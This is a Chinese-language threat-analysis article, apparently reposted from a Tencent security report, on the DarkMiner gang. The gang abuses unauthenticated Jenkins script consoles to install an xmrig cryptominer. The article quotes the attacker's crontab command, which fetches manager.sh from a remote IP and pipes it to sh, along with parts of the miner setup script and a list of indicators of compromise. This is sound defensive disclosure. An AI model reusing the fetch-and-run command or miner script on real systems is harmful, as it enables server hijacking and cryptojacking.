当前位置:首页 > 黑客教程 > 正文内容

腾讯云防火墙成功拦截利用 Jenkins 未授权访问漏洞针对云主机的攻击

访客56年前 (1970-01-01)黑客教程1154

一、概述

腾讯云防火墙捕获一黑客团伙利用Jenkins未授权访问漏洞针对云服务器的攻击,若攻击者利用漏洞攻击得手,就会通过CURL命令下载shell脚本执行,并继续通过脚本部署挖矿木马。腾讯云防火墙成功拦截了这些攻击,遭遇攻击的主机未受损失。

通过分析腾讯云防火墙拦截到的黑客攻击指令,发现攻击者在部署挖矿程序的过程中,会修改系统更大内存页,以达到系统资源的充分利用,并且会多次检测挖矿进程的状态,从而对挖矿程序进行保活操作。

因其该团伙使用的挖矿账名为syndarksonig@gmail.com,腾讯威胁情报中心将该挖矿木马命名为DarkMiner。根据该挖矿团伙使用的挖矿钱包算力估算,该团伙控制了约3000台服务器挖矿。

腾讯安全专家建议政企用户按照以下步骤自查是否遭遇类似攻击:

  • 检查服务器是否部署Jenkins组件,如有部署,应继续检查是否配置复杂密码。配置弱密码的系统极易被入侵;
  • 检查服务器是否访问矿池:142.44.242.100;
  • 检查服务器是否存在恶意文件:/tmp/ .admin_thread,如有及时kill进程并删除相关文件。

腾讯安全响应清单

腾讯安全系列产品已针对DarkMiner黑产团伙进行升级响应,具体清单如下:

应用
场景 安全产品 解决方案

腾讯T-Sec

威胁情报云查服务

(SaaS)

1)DarkMiner团伙相关IOCs已入库。

各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics

腾讯T-Sec

高级威胁追溯系统

1)DarkMiner团伙相关信息和情报已支持检索。

网管可通过威胁追溯系统,分析日志,进行线索研判、追溯 *** 入侵源头。T-Sec高级威胁追溯系统的更多信息,可参考:https://cloud.tencent.com/product/atts

云原生

安全

防护

云防火墙

(Cloud Firewall,CFW)

基于 *** 流量进行威胁检测与主动拦截,已支持:

1)已支持识别检测DarkMiner团伙关联的IOCs;

2)已支持检测和拦截Jenkins未授权命令执行漏洞利用攻击

有关云防火墙的更多信息,可参考:
 https://cloud.tencent.com/product/cfw

腾讯T-Sec  主机安全

(Cloud Workload Protection,CWP)

1)已支持查杀DarkMiner团伙相关木马程序;

2)已支持检测Jenkins未授权命令执行漏洞;

腾讯主机安全(云镜)提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息,可参考:https://cloud.tencent.com/product/cwp

腾讯T-Sec 安全运营中心 基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。

关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html

非云企业安全防护 腾讯T-Sec

高级威胁检测系统

(腾讯御界)

1)已支持识别检测DarkMiner团伙关联的IOCs;

2)已支持检测Jenkins未授权命令执行漏洞利用攻击;

关于T-Sec高级威胁检测系统的更多信息,可参考:

https://cloud.tencent.com/product/nta

二、详细分析

Jenkins是一个知名的独立开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,该项目提供了一个开放易用的软件平台,使软件的持续集成变成可能。如果用户在使用jenkins 时未设置帐号密码,或者使用了弱帐号密码,可能导致未授权访问攻击。

如果用户未设置密码,会导致系统存在Jakins存在未授权访问漏洞。

黑客在未授权的情况下访问jenkins系统,并通过系统管理中的“脚本命令行”功能执行了恶意脚本。

腾讯云防火墙捕获到黑客利用Jenkins未授权访问漏洞利用进行攻击的日志。

此次攻击执行恶意命令为:

'sh','-c','crontab -r; echo "* * * * * curl http[:]//37.49.230.155/manager.sh | sh; wget -O- http[:]//37.49.230.155/manager.sh | sh" | crontab -'

接着脚本manager.sh执行挖矿木马下载和启动。

首先根据CPU支持的线程数量设置更大内存页,以达到CPU资源利用更大化:

SYSTEM_ADMIN_RENAME=".admin_thread"THREAD_COUNT=$(cat /proc/cpuinfo | grep model | grep name | wc -l) #sysctl -w vm.nr_hugepages=$THREAD_COUNT_MBbash -c "echo vm.nr_hugepages=$(($THREAD_COUNT * 1000)) >> /etc/sysctl.conf"#bash -c "echo vm.nr_hugepages=$THREAD_COUNT >> /etc/sysctl.conf" echo "Threads: $THREAD_COUNT, Threads in MB: $(($THREAD_COUNT * 1000))" sysctl -w vm.nr_hugepages=$(($THREAD_COUNT * 1000)) && echo "SET hugepage $(($THREAD_COUNT * 1000))" #|| \#sysctl -w vm.nr_hugepages=$THREAD_COUNT && echo "SET hugepage $THREAD_COUNT" for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d); do       echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages"; done echo "1GB pages successfully enabled"

然后通过cat /proc/cpuinfo命令获取CPU类型,并判断是否属于支持的类型。

进入TMP目录下,判断挖矿进程是否已经在运行中。

for path in $TMP_DIR do   >$path/.f && cd $path && rm .f done (ps -x | grep -e "$SYSTEM_ADMIN_RENAME" | grep -v grep) > /dev/null 2>&1

如果没有在运行中,则下载xmrig挖矿木马到/tmp/ .admin_thread,伪装成系统管理进程“System manager”,然后启动挖矿程序。

挖矿使用矿池:142.44.242.100:14444

钱包:

25WSQDugR4bMr9KTsyuiWQawTpaavoxF9pNujecKTpr5MKKUvUyPyL9ZMXq9woLwiVkzcJgkhF39NdENkmEREVLM2ZoqAB

根据该钱包的平均算力40KH/s推算,共有3000台左右服务器被攻陷并植入挖矿木马。

并且该木马会多次检测挖矿进程运行状态,发现失活就重复挖矿程序部署过程,使用多个旷工名连接矿池进行挖矿,其中挖矿子账号名均为syndarksonig@gmail.com。

DarkMiner团伙使用的旷工名 *** all big xm4868 jenkin jenkin xm14856 mac server xm18614 focal xm959 xm22649 macmac xm1600 xm29274 xmrig worker28467 xm13222 stak xm7381 xmrig29684

IOCs

URL
http[:]//37.49.230.155/bot.arm5
http[:]//37.49.230.155/system_manager.sh
http[:]//37.49.230.155/ssh.sh
http[:]//37.49.230.155/manager.sh
http[:]//37.49.230.155/xmrig
http[:]//37.49.230.155/xmrig1
http[:]//37.49.230.155/xmrig2
http[:]//37.49.230.155/xmrig3
http[:]//37.49.230.155/xmrig4
http[:]//37.49.230.155/xmrig5

MD5
manager.sh

f8631ea3001a1ee82b6ba4b96cc6b26f

钱包:
425WSQDugR4bMr9KTsyuiWQawTpaavoxF9pNujecKTpr5MKKUvUyPyL9ZMXq9woLwiVkzcJgkhF39NdENkmEREVLM2ZoqAB

扫描二维码推送至手机访问。

版权声明:本文由黑客技术发布,如需转载请注明出处。

本文链接:https://w-123.com/32599.html

“腾讯云防火墙成功拦截利用 Jenkins 未授权访问漏洞针对云主机的攻击” 的相关文章

日本电装德国分部大量机密数据被窃取 黑客威胁将公开

丰田汽车旗下零部件制造商日本电装于13日宣布,其德国当地法人受到了网络攻击。该公司确认其网络感染了勒索软件。被认定发动了此次攻击的黑客集团已经发布了勒索声明。公司称虽然目前并没有立刻对公司经营造成影响,但是“关于受害的详细情况正在调查中”。公司已向德国当地政府提交了受害报告。 据信息安全公司三井物...

黑客正利用虚假 Windows 11 升级引诱受害者上钩

Bleeping Computer 报道称,已有黑客在利用伪造的 Windows 11 升级安装包,来引诱毫无戒心的受害者上钩。为了将戏演得更真一些,当前正在活跃的恶意软件活动甚至会利用中毒后的搜索结果,来推送一个模仿微软 Windows 11 促销页面的网站。若不幸入套,或被恶意软件窃取浏览器数据...

分销网络遭黑客攻击后,伊朗加油站停止服务

伊朗国家石油产品分销公司(NIOPDC)的加油站26日停工,原因是网络攻击波及了整个分销网络。 NIOPDC网络在全国拥有3500多个加油站,80多年来一直供应石油产品。 调查机构正在查找造成破坏的原因,目前还没有公开说明幕后黑手的信息,但伊朗正在指责一个敌对国家。 并非全无线索,ISNA 通讯社首...

有用户怀疑 LastPass 的主密码数据库可能已被泄露

有使用LastPass的用户报告说,有多人试图使用正确的主密码从不同地点登录,表明该公司可能存在数据泄露。Hacker News论坛的多名用户报告称他们的LastPass的主密码似乎被泄露了。 目前还不知道这些密码是如何泄露的,但在用户中已经出现了一种类似的情形。 大多数报告似乎来自拥有过时的Las...

Morphisec 发现了信息窃取软件 Jupyter infostealer 新版本

网络安全研究人员发现了一个通过MSI安装程序分发的新版本的Jupyter infostealer。 2020年11月,Morphisec的研究人员发现,威胁者一直在使用.Net infostealer(记为Jupyter),从受害者那里窃取信息。 恶意软件Jupyter能够从多个应用程序收集数据,包...

CISA 推平台以让黑客向美国联邦机构报告安全漏洞

据外媒Techcrunch报道,美国网络安全和基础设施安全局(CISA)启动了一项漏洞披露计划,其允许有道德的黑客向联邦机构报告安全漏洞。据悉,该平台在网络安全公司Bugcrowd和Endyna的帮助下推出,它将允许民间联邦机构接收、分类和修复来自更广泛的安全社区的安全漏洞。 CISA在推出该平台不...

评论列表

俗野余安
3年前 (2022-06-25)

://cloud.tencent.com/product/cfw腾讯T-Sec  主机安全(Cloud Workload Protection,CWP)1)已支持查杀DarkMiner团伙相关木马程序;2)已支持检测Jenkins

辞眸北槐
3年前 (2022-06-26)

ct/nta二、详细分析Jenkins是一个知名的独立开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,该项目提供了一个开放易用的软件平台,使软件的持续集成

冢渊宠臣
3年前 (2022-06-26)

epages/hugepages-1048576kB/nr_hugepages";doneecho "1GB pages successfully enabled"然后通过cat /proc/cpui

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。